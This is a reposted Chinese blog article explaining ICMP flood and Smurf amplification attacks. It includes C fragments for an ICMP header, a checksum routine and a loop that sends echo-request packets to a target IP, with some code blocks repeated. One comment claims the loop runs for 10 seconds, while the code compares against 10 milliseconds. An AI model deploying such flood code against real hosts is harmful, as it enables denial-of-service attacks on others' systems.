美文网首页
ICMP flood 攻击

ICMP flood 攻击

作者: onlyHalfSoul | 来源:发表于2018-05-25 18:31 被阅读103次

    http://blog.csdn.net/hwhaocool/article/details/22697325

    icmp flood属于flood的其中一种.
    达到效果有以下实现方法

    1.两败俱伤

    大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小 于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。

    2.借刀杀人

    攻击者向许多地址发送ICMP Echo Request,但是它却告诉这些地址ICMP Echo Request不是它自己发的,而是"某某"发的,这个"某某"就会成为"众矢之的"。通过伪装目的主机的IP地址,向多个IP 网络的广播地址发送ICMP Echo Request数据包,使得目的主机需要消耗大量CPU 资源和有效带宽来处理来自众多节点的ICMP Reply数据包。该攻击的原理如下图:


    v979yc5i62ve[1].gif

    从图中可以看出,带宽仅为128Kbps的攻击者可以击溃带宽比其更大(512Kbps)的目标,因为ICMP SMURF采用的手段是"借刀杀人"!它本身并不向目标发送ICMP消息,而是向许多远程主机"诬告"攻击目标向他们发送了ICMP Echo,于是这些远程主机纷纷向攻击目标发送ICMP Reply,导致攻击目标崩溃。有明一代名将袁崇焕督师就是因为满人的反间计而被崇祯凌迟,并被当时的北京市民争其肉而食的。网络攻击中的"借刀杀人"照 样威力无穷。


    2014033123061208437[1].png
    305dd7ea50e1706daeafd55c[1].jpg
    //定义ICMP首部
    typedef struct _icmphdr{
    unsigned char i_type; //8位类型
    unsigned char i_code; //8位代码
    unsigned short i_cksum; //16位校验和, 从TYPE开始,直到最后一位用户数据,如果为字节数为奇数则补充一位
    unsigned short i_id ; //识别号(一般用进程号作为识别号), 用于匹配ECHO和ECHO REPLY包
    unsigned short i_seq ; //报文序列号, 用于标记ECHO报文顺序
    unsigned int timestamp; //时间戳
    }ICMP_HEADER; 
    

    计算校验和的经典函数:

    SHORT checksum(USHORT* buffer, int size)
    {
        unsigned long cksum = 0;
        while(size>1)
        {
            cksum += *buffer++;
            size -= sizeof(USHORT);
        }
        if(size)
        {
            cksum += *(UCHAR*)buffer;
        }
        cksum = (cksum>>16) + (cksum&0xffff); 
        cksum += (cksum>>16); 
        return (USHORT)(~cksum);
    } 
    

    计算校验和的经典函数:

    SHORT checksum(USHORT* buffer, int size)
    {
        unsigned long cksum = 0;
        while(size>1)
        {
            cksum += *buffer++;
            size -= sizeof(USHORT);
        }
        if(size)
        {
            cksum += *(UCHAR*)buffer;
        }
        cksum = (cksum>>16) + (cksum&0xffff); 
        cksum += (cksum>>16); 
        return (USHORT)(~cksum);
    } 
    
    <meta charset="utf-8">
    
    [cpp] [view plain](http://blog.csdn.net/hwhaocool/article/details/22697325#) [copy](http://blog.csdn.net/hwhaocool/article/details/22697325#) [print?](http://blog.csdn.net/hwhaocool/article/details/22697325#)
    
    1.  /////////生成ICMP会送请求报文  
    2.  char icmp_data[65535]={0};                  //要发送的字符串  
    
    4.  ((IcmpHeader*)icmp_data)->chksum=0;  
    5.  ((IcmpHeader*)icmp_data)->type=8;                //会送请求  
    6.  ((IcmpHeader*)icmp_data)->code=0;                //  
    7.  ((IcmpHeader*)icmp_data)->id=2;    
    8.  ((IcmpHeader*)icmp_data)->timestamp=GetTickCount();         //设置时间戳  
    9.  ((IcmpHeader*)icmp_data)->seq=0;                             //序列号  
    
    11.  memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);  
    12.  ((IcmpHeader*)icmp_data)->chksum=  
    13.  checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE);  //填入校验和  
    14.  int datasize=sizeof(IcmpHeader)+PACKET_SIZE;  
    
    16.  //开始发送数据报文了  
    17.  sockaddr_in dst;  
    18.  dst.sin_family=AF_INET;  
    19.  dst.sin_addr.S_un.S_addr=inet_addr(dstIP);  
    20.  DWORD dwStart=GetTickCount();  
    21.  while(GetTickCount()-dwStart<10)          //程序运行10秒后退出  
    22.  sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));
    
    
    /////////生成ICMP会送请求报文
        char icmp_data[65535]={0};                  //要发送的字符串
    
        ((IcmpHeader*)icmp_data)->chksum=0;
        ((IcmpHeader*)icmp_data)->type=8;               //会送请求
        ((IcmpHeader*)icmp_data)->code=0;               //
        ((IcmpHeader*)icmp_data)->id=2; 
        ((IcmpHeader*)icmp_data)->timestamp=GetTickCount();         //设置时间戳
        ((IcmpHeader*)icmp_data)->seq=0;                             //序列号
    
        memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);
        ((IcmpHeader*)icmp_data)->chksum=
            checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE);  //填入校验和
        int datasize=sizeof(IcmpHeader)+PACKET_SIZE;
    
        //开始发送数据报文了
        sockaddr_in dst;
        dst.sin_family=AF_INET;
        dst.sin_addr.S_un.S_addr=inet_addr(dstIP);
        DWORD dwStart=GetTickCount();
        while(GetTickCount()-dwStart<10)          //程序运行10秒后退出
        sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));
    
    20140401014054218[1].png

    相关文章

      网友评论

          本文标题:ICMP flood 攻击

          本文链接:https://www.haomeiwen.com/subject/pdvujftx.html